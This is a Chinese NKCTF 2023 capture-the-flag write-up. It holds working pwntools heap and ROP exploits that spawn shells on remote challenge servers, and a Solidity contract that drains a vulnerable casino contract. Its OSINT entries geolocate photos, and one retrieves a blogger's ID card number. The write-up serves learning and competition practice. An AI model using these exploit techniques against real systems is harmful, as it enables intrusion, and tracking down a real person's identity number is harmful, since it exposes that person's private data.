
def delete(index):
    r.sendlineafter(menu, '2')
    r.sendlineafter('Enter the index: ', str(index))

def edit(index, content):
    r.sendlineafter(menu, '3')
    r.sendlineafter('Enter the index: ', str(index))
    r.sendafter('Enter the content: ', content)

def show(index):
    r.sendlineafter(menu, '4')
    r.sendlineafter('Enter the index: ', str(index))

dbgg()

add(0, 0x28)
add(1, 0x38)

add(2, 0x40)
add(3, 0x40)

delete(1)
'''
p1 = b'\x00' * 0x28 + b'\x91'
edit(0, p1)
'''

add(1, 0x38)

show(1)
key = u64(r.recv(5).ljust(8, b'\x00'))
heap_base = key << 12
li('heap_base = ' + hex(heap_base))

for i in range(4, 12):
    add(i, 0x88)

add(12, 0x88)
add(13, 0x88)


for i in range(4, 13):
    delete(i)

for i in range(4, 12):
    add(i, 0x88)

show(11)

malloc_hook = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 368 - 0x10
li('malloc_hook = ' + hex(malloc_hook))

libc = ELF('./libc-2.32.so')
libc_base = malloc_hook - libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym['__free_hook']
li('free_hook = ' + hex(free_hook))
one = [0xdf54c, 0xdf54f, 0xdf552]
one_gadget = one[1] + libc_base

add(12, 0x88)

p1 = b'\x00' * 0x28 + b'\x91'
edit(0, p1)
delete(1)

add(1, 0x88)
add(14, 0x40)
delete(14)
delete(2)

#p2 = p64(0) * 7 + p64(0x51) + p64(key ^ free_hook) + p64(0)
p2 = b'b' * (8 * 7) + p64(0x51) + p64(key ^ free_hook) + b'\n'
edit(1, p2)

add(15, 0x40)
delete(4)
add(4, 0x40)
edit(4, p64(one_gadget) + b'\n')
delete(0)

r.interactive()

ByteDance

hctf2018 heapstrom_zero一样,改改exp就行了

#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']

local = 0

if local:
    r = process('./pwn02')
    bin = ELF('./pwn02',checksec=False)
    libc = ELF('./2.23/libc-2.23.so',checksec=False)
else:
    r = remote('node2.yuzhian.com.cn', 38908)
    libc = ELF('./2.23/libc-2.23.so',checksec=False)
    pass


def z(a=''):
    gdb.attach(r,a)
    if a == '':
        raw_input()

# result = (unsigned int)(a1 - 1) <= 0x37;
def add(size,con):
    r.recvuntil('Choice:')
    r.sendline('1')
    r.recvuntil('size:')
    r.sendline(str(size))
    r.recvuntil('content:')
    r.sendline(con)

def view(idx):
    r.recvuntil('Choice:')
    r.sendline('2')
    r.recvuntil('index:')
    r.sendline(str(idx))

def dele(idx):
    r.recvuntil('Choice:')
    r.sendline('3')
    r.recvuntil('index:')
    r.sendline(str(idx))

def triger_consolidate(pay=''):
    r.recvuntil('Choice:')
    if pay=='':
        r.sendline('1'*0x400)#malloc_consolidate

add(0x38,'a')#0

add(0x28,'a')#1
add(0x28,'a')#2
add(0x18,'a')#3
add(0x18,'a')#4
add(0x38,'x')#5
add(0x28,'x')#6
add(0x38,'x')#7
add(0x38,'x')#8
add(0x38,'x')#9
pay = b'a'*0x20+p64(0x200)+p64(0x20)
add(0x38,pay)#10

add(0x38,'end')#11

for i in range(1,11):
    dele(i)
# z('b malloc\ndir ~/Glibc/glibc-2.23/stdio-common/\ndir ~/Glibc/glibc-2.23/malloc/\nc')
triger_consolidate()

dele(0)
pay = 'a'*0x38
add(0x38,pay)#0

add(0x38,'a'*8)#1
add(0x38,'b'*8)#2
add(0x38,'c'*8)#3
add(0x38,'x')#4
add(0x38,'x')#5
add(0x28,'x')#6
add(0x38,'x')#7
add(0x38,'x')#8

dele(1)
dele(2)
dele(3)

triger_consolidate()
dele(11)
triger_consolidate()



add(0x28,'a')#1
add(0x28,'a')#2
add(0x18,'a')#3
add(0x18,'a')#9
add(0x38,'1'*0x30)#10
add(0x38,'2'*0x30)#11
add(0x28,'3'*0x30)#12
add(0x38,'4'*0x30)#13
add(0x38,'5'*0x30)#14
pay = b'a'*0x20+p64(0x200)+p64(0x20)
add(0x38,pay)#15

add(0x38,'end')#16

dele(1)
dele(2)
dele(3)
for i in range(9,16):
    dele(i)

triger_consolidate()

dele(0)
pay = 'a'*0x38
add(0x38,pay)#0

add(0x38,'a'*8)#1
add(0x38,'b'*8)#2
add(0x38,'c'*8)#3

view(4)
r.recvuntil('Content: ')
lbase = u64(r.recvuntil('\n')[:-1].ljust(8,b'\x00'))-0x3c4b20-88
success('lbase: '+hex(lbase))

dele(1)
dele(2)
dele(3)
triger_consolidate()

add(0x18,'A'*0x10)#1
add(0x28,'B'*0x20)#2
add(0x38,'C'*0x30)#3
add(0x18,'D'*0x10)#9

pay = p64(0)+p64(0x41)
add(0x18,pay)#6
add(0x28,'asd')
add(0x38,'zxc')#5,c
add(0x28,'qqq')#6,d


add(0x38,'a1')#14
add(0x28,'a2')#15

#fastbin dup
dele(5)
dele(14)
dele(0xc)

dele(6)
dele(15)
dele(0xd)


add(0x28,p64(0x41))
add(0x28,'a')
add(0x28,'a')

add(0x38,p64(lbase+0x3c4b20+8))
add(0x38,'a')
add(0x38,'a')
add(0x38,p64(lbase+0x3c4b20+8+0x20)+b'\x00'*0x10+p64(0x41))
add(0x38,b'\x00'*0x20+p64(lbase+libc.sym['__malloc_hook']-0x18))

add(0x18,'a'*0x18)
add(0x18,p64(lbase+0xf03a4)*2)

r.recvuntil('Choice:')
r.sendline('1')
r.recvuntil('size:')
r.sendline(str(0x18))

r.interactive()

note

漏洞点在于idx越界,导致可以越界读写,实现任意地址写stderr

# _*_ coding:utf-8 _*_
from pwn import *
import re
import os, struct, random, time, sys, signal
import hashlib
from hashlib import sha256

p = remote("ctf.comentropy.cn","8304")
# p = process("./nk_note")
elf = ELF("./nk_note")
libc = elf.libc

context.log_level = "debug" # info
context.arch = elf.arch
context.terminal = ['tmux', 'splitw', '-hp','64']


def dbg(breakpoint=''):
    elf_base = int(os.popen('pmap {}| awk \x27{{print \x241}}\x27'.format(p.pid)).readlines()[1], 16) if elf.pie else 0
    script = 'b *{:#x}\n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint
    gdb.attach(p,script)
    pause()

#-----------------------------------------------------------------------------------------
s       = lambda data               :p.send(str(data))
sa      = lambda text,data          :p.sendafter(text, str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda text,data          :p.sendlineafter(text, str(data))
r       = lambda num=4096           :p.recv(num)
ru      = lambda text               :p.recvuntil(text)
ia      = lambda                    :p.interactive()
hs256   = lambda data               :sha256(str(data).encode()).hexdigest()
l32     = lambda                    :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
l64     = lambda                    :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
uu32    = lambda                    :u32(p.recv(4).ljust(4,'\x00'))
uu64    = lambda                    :u64(p.recv(6).ljust(8,'\x00'))
int16   = lambda data               :int(data,16)
lg      = lambda s                  :p.success('%s -> 0x%x' % (s, eval(s)))
# sc      = lambda                    :shellcraft.amd64.linux.sh()
#-----------------------------------------------------------------------------------------

def add(idx,size,con):
    sla("your choice: ",1)
    sla("Index: ",idx)
    sla("Size: ",size)
    p.sendafter("Content: ",con)

def edit(idx,size,con):
    sla("your choice: ",2)
    sla("Index: ",idx)
    sla("Size: ",size)
    p.sendafter("Content: ",con)

def dele(idx):
    sla("your choice: ",3)
    sla("Index: ",idx)

def show(idx):
    sla("your choice: ",4)
    sla("Index: ",idx)

free = 0x523E
ptr = 0x40A0

add(0,0x10,'aaa')
edit(0,0x1e0,'a'*0x1e0)
show(0)
ru('a'*0x1e0)
heap_base = uu64()
lg("heap_base")


edit(0x207,0x10,'a'*9)
show(0x207)
libc_base = l64()-0x09a761
lg("libc_base")
edit(0x207,0x10,'\x00'*9)

stderr_use = libc_base + 0x098120
system_addr = libc_base + 0x43c7c

add(1,0x7d0,'aaa')
add(1,0x7d0,'aaa')
add(1,0x7d0,'aaa')
add(1,0x7d0,'aaa')
edit(0x10,0x10,'a'*0x10)
show(0x10)
ru('a'*0x10)
base = uu64()-0x4120
lg("base")
edit(0x10,0x10,p64(heap_base-0x0001b8)*2)

# dbg()
edit(1,0x10,p64(stderr_use))
edit(0x14,0x50,"/bin/sh\x00"+"A"*0x20+p64(1)+'a'*8+p64(0)+'a'*8+p64(system_addr))

sl(5)

ia()

a_story_of_a_pwner

漏洞点在于选项4的栈溢出,构造栈迁移执行rop链,由于size限制,所以rop链构造在love_comment的上方

# _*_ coding:utf-8 _*_
from pwn import *
import re
import os, struct, random, time, sys, signal
import hashlib
from hashlib import sha256

p = remote("node.yuzhian.com.cn","32506")
# p = process("./pwn")
elf = ELF("./pwn")
libc = elf.libc

context.log_level = "debug" # info
context.arch = elf.arch
context.terminal = ['tmux', 'splitw', '-hp','64']


def dbg(breakpoint=''):
    elf_base = int(os.popen('pmap {}| awk \x27{{print \x241}}\x27'.format(p.pid)).readlines()[1], 16) if elf.pie else 0
    script = 'b *{:#x}\n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint
    gdb.attach(p,script)
    pause()

#-----------------------------------------------------------------------------------------
s       = lambda data               :p.send(str(data))
sa      = lambda text,data          :p.sendafter(text, str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda text,data          :p.sendlineafter(text, str(data))
r       = lambda num=4096           :p.recv(num)
ru      = lambda text               :p.recvuntil(text)
ia      = lambda                    :p.interactive()
hs256   = lambda data               :sha256(str(data).encode()).hexdigest()
l32     = lambda                    :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
l64     = lambda                    :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
uu32    = lambda                    :u32(p.recv(4).ljust(4,'\x00'))
uu64    = lambda                    :u64(p.recv(6).ljust(8,'\x00'))
int16   = lambda data               :int(data,16)
lg      = lambda s                  :p.success('%s -> 0x%x' % (s, eval(s)))
# sc      = lambda                    :shellcraft.amd64.linux.sh()
#-----------------------------------------------------------------------------------------
read = 0x401387

sla(">",4)
ru("I give it up, you can see this. 0x")
libc_base = int16(p.recv(12))-libc.sym['puts']
lg("libc_base")
one = libc_base + 0xe3b04
pop_rdi = 0x0000000000401573
bin_sh = libc_base + libc.search('/bin/sh\x00').next()
system =  libc_base + libc.sym['system']
lg("system")
ret = 0x000000000040101a
stack = libc_base + libc.sym['environ']

love_comment = 0x4050A0-0x10

sla(">",1)
sla("what's your comment?",'a'*8)
sla(">",2)
sla("what's your corment?",'a'*8)
sla(">",3)
sla("what's your corMenT?",p64(system))
sla(">",4)
# dbg()
sa("now, come and read my heart...",'a'*0xa+p64(love_comment)+p64(read))
pay = 'a'*0xa+p64(love_comment+0xa)+p64(read)
s(pay.ljust(0x20,'\x00'))

pay = p64(0)+p64(ret)+p64(pop_rdi)+p64(bin_sh)
s(pay.ljust(0x20,'\x00'))


ia()

'''
0xe3afe execve("/bin/sh", r15, r12)
constraints:
  [r15] == NULL || r15 == NULL
  [r12] == NULL || r12 == NULL

0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
  [r15] == NULL || r15 == NULL
  [rdx] == NULL || rdx == NULL

0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL
  [rdx] == NULL || rdx == NULL
'''

only_read

from pwn import *
context(os='linux',arch='amd64',log_level='debug')
#p=process("./pwn")
p=remote("node2.yuzhian.com.cn",32451)
a="V2VsY29tZSB0byBOS0NURiE="
b="dGVsbCB5b3UgYSBzZWNyZXQ6"
c="SSdNIFJVTk5JTkcgT04gR0xJQkMgMi4zMS0wdWJ1bnR1OS45"
d="Y2FuIHlvdSBmaW5kIG1lPw=="
p.send(a)
pause()
p.send(b)
pause()
p.send(c)
pause()
p.send(d)
pause()
pop_rbx_p5=0x40167A
change_read=0x000000000040117c
read_got=0x404028
offset=0xFFFFFFFFFFFD5B3E
payload=b"a"*48+p64(read_got+0x3d)+p64(pop_rbx_p5)+p64(offset)+p64(read_got+0x3d)+p64(0)*4+p64(change_read)+p64(0x040146E)
p.sendline(payload)
p.interactive()

Blockchain

SignIn

简单签到,找到合约创建的第一个交易,然后看一下状态变更


NKCTF{W3c0me_to_NKCTF2023}

HelloWorld

contract HelloWorld {
    string greeting;

    constructor(string memory _greeting) public {
        greeting = _greeting;
    }

    function greet() public view returns (string memory) {
        return greeting;
    }

    function setGreeting(string memory _greeting) public {
        greeting = _greeting;
    }

    function isSolved() public view returns (bool) {
        string memory expected = "Hello,NKCTF2023";
        return keccak256(abi.encodePacked(expected)) == keccak256(abi.encodePacked(greeting));
    }
}

传入字符串”Hello,NKCTF2023”,获得flag: NKCTF{Hel1o_Solidity!!!}

decompile_revenge

https://sepolia.etherscan.io/tx/0x2ee2f0d8d4514955dcf84cc5f5e68838ac37a526e45fed6a6c040291cfd5659b

反编译合约

# Palkeoramix decompiler. 

def storage:
  stor0 is uint256 at storage 0
  stor1 is uint256 at storage 1
  stor2 is uint256 at storage 2
  stor3 is uint256 at storage 3

def _fallback() payable: # default function
  revert

def unknownbb6f4291(array _param1) payable: 
  require calldata.size - 4 >=′ 32
  require _param1 <= 18446744073709551615
  require _param1 + 35 <′ calldata.size
  require _param1.length <= 18446744073709551615
  require _param1 + _param1.length + 36 <= calldata.size
  if _param1.length != 36:
      revert with 0, 'flag length error'
  require 9 <= _param1.length
  hash = sha256hash(call.data[_param1 + 36 len 9]) # precompiled
  if not sha256hash.result:
      revert with ext_call.return_data[0 len return_data.size]
  require return_data.size >=′ 32
  require hash == hash
  if stor0 != hash:
      revert with 0, 'flag1 error'
  require 18 <= _param1.length
  hash = sha256hash(call.data[_param1 + 45 len 9]) # precompiled
  if not sha256hash.result:
      revert with ext_call.return_data[0 len return_data.size]
  require return_data.size >=′ 32
  require hash == hash
  if stor1 != hash:
      revert with 0, 'flag2 error'
  require 27 <= _param1.length
  hash = sha256hash(call.data[_param1 + 54 len 9]) # precompiled
  if not sha256hash.result:
      revert with ext_call.return_data[0 len return_data.size]
  require return_data.size >=′ 32
  require hash == hash
  if stor2 != hash:
      revert with 0, 'flag3 error'
  require 36 <= _param1.length
  hash = sha256hash(call.data[_param1 + 63 len 9]) # precompiled
  if not sha256hash.result:
      revert with ext_call.return_data[0 len return_data.size]
  require return_data.size >=′ 32
  require hash == hash
  if stor3 != hash:
      revert with 0, 'flag4 error'
  return 1

把flag分成4部分,哈希校验,然后还贴心的给了个
http://blockchain.247533.top:10030

四个哈希扔进去完事(

NKCTF{This_1s_Decompile_Rev3nge!!!!}

NKCasino

区块链经典问题之熵的产生(

随机数可控,被攻击合约做了检测,但没有完全检测

pragma solidity 0.8.7;

contract NKCasino{
    mapping (address=>uint) public balances;
    mapping (address=>bool) public isWin;

    constructor() payable {    }

    function playGuessGame(uint _guessNum,address _player) external payable {
        uint256 size;
        assembly {  size := extcodesize(_player) }
        require(size == 0, "Only EOA can play this game.");
        require(msg.value == 0.1 ether,"The game only need 0.1 eth");

        uint random = uint(keccak256(abi.encodePacked(block.difficulty, block.timestamp, msg.sender))) % 2;
        if (random == _guessNum) {
            balances[_player] += 0.2 ether;
            isWin[_player] = true;
        }else if (!isWin[_player]) {
            uint temp = balances[_player];
            balances[_player] = 0;
            address(this).call{value: temp}("");
        }
    }

    function gotPrize(address _player) public {
        require(isWin[_player], "You got the prize or not play or lose the game.");
        _player.call{value: balances[_player]}("");
        isWin[_player] = false;
    }

    function isSolved() public view returns(bool) {
        return address(this).balance == 0 ether;
    }

    receive() external payable {    }

}

size := extcodesize(_player)检测发送方是否为合约账户,合约账户的extcodesize不为0,但是在合约运行构造函数的时候,他的extcodesize为零,因此可以用构造函数来绕过(,复盘的时候发现这个_player不是msg.sneder,可以自己随便输入(

攻击合约:

contract Pwn {
    uint random;

    constructor (address _target) payable {
        require(msg.value == 1 ether);
        random = uint(keccak256(abi.encodePacked(block.difficulty, block.timestamp, msg.sender))) % 2;
        for(uint i; i < 10; i++){
        (bool success, ) = payable(_target).call{value: 0.1 ether}( //这个需要打十次
            abi.encodeWithSignature("playGuessGame(uint256,address)", random,address(0x78731D3Ca6b7E34aC0F824c42a7cC18A495cabaB))
        );
        require(success,"ERROR!");
        }
    }
}

Social Engineering

狂飙

1

抖音搜索相关信息

NKCTF{广东省江门市蓬江区莲平路}

两个人的夜晚

image-20230327125044646

直接搜索图中的NCC新城市中心即可

Bridge

本题可以直接通过谷歌以图识图进行识别

image-20230327125106813

同时我们可以注意到旁边似乎有人行栈道,结合上面的信息可以直接通过谷歌找到些信息,大致定位在海南海口龙华区世纪大桥的世纪公园

image-20230327125118209

最后flag为:NKCTF{海南省海口市龙华区世纪公园}

Ferris_Wheel

image-20230327125129669

百度搜图,发现在永州,仔细看图片中的文字,应该是永川里奥特莱斯。搜索关键字,发现地址。图中的摩天轮为渝西之眼。尝试多次后最后得到结果为NKCTF{重庆市永川区兴龙湖CBD永川里奥特莱斯渝西之眼摩天轮}

real-social-engineering

2

https://tacooo0o.github.io/2021/12/31/2021%E5%B9%B4%E7%BB%88%E6%80%BB%E7%BB%93-1/#%E6%80%BB%E7%BB%93

发现这篇文章,中间有一张图:

3

获得身份证号

旅程的开始

image-20230327125436109

搜索图片里的酒店,获得地址。

4

改成1号就行获得了flag

The other bridge

image-20230327125510000

根据题目名称,试了很多次,是下面这个答案

NKCTF{重庆市渝中区嘉陵江畔戴家巷崖壁步道}

decompile

这题和BlockChain的decompile_revenge一模一样

http://blockchain.247533.top:10030

四个哈希扔进去

https://goerli.etherscan.io/tx/0x0068a5106a4838bbe226b2a25dd28bacb919f748c98ab8797d115c84eb78eea6#statechange

image-20230327125531555

NKCTF{N0w_you_kn0w_d3compl1te_bytecode}

MISC

easy_bmp

bmp 改宽高就行了。叫宽的图片改宽度,叫高的图片改高度。压缩包解出来之后把宽高改成360就能拿到二维码,扫一下就行了。

三体

2020年就有的东西了,脚本一把梭:

from PIL import Image
def decode(im):
    width,height = im.size
    lst = []
    for y in range(height):
        for x in range(width):
            red,green,blue = im.getpixel((x,y))
            if(blue | green | red) == 0:
                break
            index = (green<<8) + blue
            lst.append(chr(index))
    return ''.join(lst)

if __name__=='__main__':
    all_text = decode(Image.open("out.bmp","r"))
    with open ("decode.text","w",encoding = "utf-8") as f:
        f.write(all_text)

misc?iot!

smt32 板子的逆向咋会放在 misc……

#include<stdio.h>
void rc4_init(unsigned char* s, unsigned char* key, unsigned long Len_k)
{
    int i = 0, j = 0;
    char k[256] = { 0 };
    unsigned char tmp = 0;
    for (i = 0; i < 256; i++) {
        s[i] = i;
        k[i] = key[i % Len_k];
    }
    for (i = 0; i < 256; i++) {
        j = (j + s[i] + k[i]) % 256;
        tmp = s[i];
        s[i] = s[j];
        s[j] = tmp;
    }
}
void rc4_crypt(unsigned char* Data, unsigned long Len_D, unsigned char* key, unsigned long Len_k)
{
    unsigned char s[256];
    rc4_init(s, key, Len_k);
    int i = 0, j = 0, t = 0;
    unsigned long k = 0;
    unsigned char tmp;
    for (k = 0; k < Len_D; k++) {
        i = (i + 1) % 256;
        j = (j + s[i]) % 256;
        tmp = s[i];
        s[i] = s[j];
        s[j] = tmp;
        t = (s[i] + s[j]) % 256;
        Data[k] = Data[k] ^ s[t];
    }
}
void main()
{
    unsigned char key[] = "NKCTF2023";
    unsigned long key_len = sizeof(key) - 1;
    unsigned int v1[5];
    v1[0] = 0xE2025F24;
    v1[1] = 0x6CA7A087;
    v1[2] = 0xDA752A07;
    v1[3] = 0xD7578A3F;
    v1[4] = 0x1F1A;
    rc4_crypt(v1, sizeof(data), key, key_len);
    char* ff = (char*)v1;
    for (int i = 0; i < 18; i++)
    {
        printf("%c", ff[i]);
    }
    printf("\n");
    return;
}

THMaster

题目本体是出题人写了一个C#程序来检测游戏进程,通过对比游戏难度以及分数来对文件的AES进行解密

image-20230326224944459

因为C#是可以直接看到源码然后修改之后重新打包的,我们修改后将其放到原来EXE的路径下运行,随便打点分数就可以解锁flag了

解密后我们将解密文件拖入010或者是其他软件能看内容就行

image-20230326225217581

翻到最后可以看到flag:NKCTF{U_R_re411y_g00d_At_p14ying_t0h0u}

blue

下载到三个镜像

7-ZIP直接打开vmdk文件,然后翻文件

\Windows_Server_2008-disk1.vmdk\Users\Administrator\ 路径下找到 flag.txt

hard-misc

将题目信息进行base32解密

在N0wayBack公众号上回复 NKCTF2023我来了!

得到flag  NKCTF{wtk2023Oo0oImcoM1Ng!23555647}

easy_rgb

拼图密钥:key:NKCTF2023​,解压

r.txt g.txt b.txt循环读取转hex存储,是压缩包,虽然文件损坏,但是不影响

image

flag.txt解密,根据提示AES-128

image

easy_word

按照提示写脚本

import hashlib

string = 'h??vO??0'

for i in '0123456789abcdefghijklmnopqrstuvwxyzQWERTYUIOPASDFGHJKLZXCVBNM':
  for j in '0123456789abcdefghijklmnopqrstuvwxyzQWERTYUIOPASDFGHJKLZXCVBNM':
    for k in '0123456789abcdefghijklmnopqrstuvwxyzQWERTYUIOPASDFGHJKLZXCVBNM':
      for l in '0123456789abcdefghijklmnopqrstuvwxyzQWERTYUIOPASDFGHJKLZXCVBNM':
        string_try = string.replace('?', i, 1).replace('?', j, 1).replace('?', k, 1).replace('?', l, 1)
        hash_object = hashlib.sha256(string_try.encode())
        hex_dig = hash_object.hexdigest()
        print(f"string_try = {string_try}, sha256 = {hex_dig[0:8]}")

得到密码h43vOF90

解压,word里面有图片,修改后缀为zip然后解压

image

image

first_spam

搜文件内容,找到了加密:https://spammimic.com/

佛曰:

佛曰:栗楞穆婆悉遮俱吉室嚧无佛吉埵沙他蒙蒙唎皤啰烁伽驮数迦帝楞萨那摩度驮伽度耶萨那曳喝写怛钵遮耶烁埵室摩迦尼菩呼阇栗墀豆哆烁利吉舍阿萨俱夜嚧蒙喝喝诃罚悉阇喝无数那迦陀室沙穆皤南陀娑利烁输夜输参陀数醯诃提耶钵遮夜栗谨伽俱菩度咩烁室醯迦输诃度唎阇钵无羯栗提摩谨咩悉哆阇室悉钵楞那他伽啰伊耶谨那尼那呼伊罚卢输南喝豆娑伽唎醯嚧那嚧羯摩吉参喝那阿地墀数陀楞啰孕罚度醯菩萨埵埵栗他穆菩参舍迦羯沙啰吉尼楞怛尼孕苏地遮苏提曳谨阇那啰阇南曳输曳伊苏伊度啰咩提苏他他娑驮俱婆钵室利烁俱伽写利羯悉阇遮皤佛南悉阿帝萨喝悉阇参参楞罚皤苏喝墀诃他吉伽提利尼埵啰输嚧醯婆伽墀菩唎娑谨他怛写沙伽啰烁摩栗埵伊啰俱楞帝写地卢利怛吉帝陀阿唵伊伽谨曳阇羯娑羯嚧埵唎烁楞喝曳输他阿室钵谨啰楞他呼娑喝菩哆蒙穆诃婆烁他夜孕穆诃钵佛参室悉舍萨穆室遮阿喝啰伽耶喝漫

新旧佛曰都解不出,怀疑有key与佛论禅加密版 (by950.top)

后面的社会主义核心价值观编码:

rabbit 又 move

猜密钥,怀疑是NKCTF之类的,答案不对,题目是rabbit year

image

粘贴出来解密发现有问题,怀疑是零宽:

&.......auD5.......v'<).......`h.......{dF6C_*'Jrcqzrh&ZaF>`g^.......Hr'}vuHZJB.......%~}_H5?gu.......;q.......)"<rA?{sH2{IfafKfu=6w_tip:47&13

先解密零宽:

Unicode Steganography with Zero-Width Characters (mzy0.com)

image-20230327124900-v1uzqux

按照密文tip:47&13​,还有move,怀疑是rot13和47 EnoOoO1G​的rot13是RabBbB1T

对密文rot47解密

rabbit解密:

NKCTF{H4Ppy_tH3_Y34r_0f_R4BbBbbbB1tTtTtT}

music1

R2JNW_7XI6IGA9N_@0

搜这串字符串发现是原题。。。

image

按照步骤复现即可

music2

image

有明显规律,27作为分割,10 11出现,怀疑二进制,11是1 10是0

处理一下然后二进制解码,再转hex。是压缩包

image

下面有注释,解密后:

WELCOMETONKCTF_THEPASSWORDIS16BYTESRANDOMLYGENERATED_ISTHEREABETTERWAYTOUNLOCKTHEZIP!

16bytes randomly generated

is there a better way to unlock the zip!

已知加密压缩包的文件内容及格式,可以用明文爆破

./bkcrack -C flag.zip -c flag.png  -p flag

flag为png文件头文件。

得到三段密钥:846ad344 02327731 173ff347

./bkcrack-C flag.zip -c flag.png -k 846ad344 02327731 173ff347 -d flag1.png

image-20230327131113-868qfvz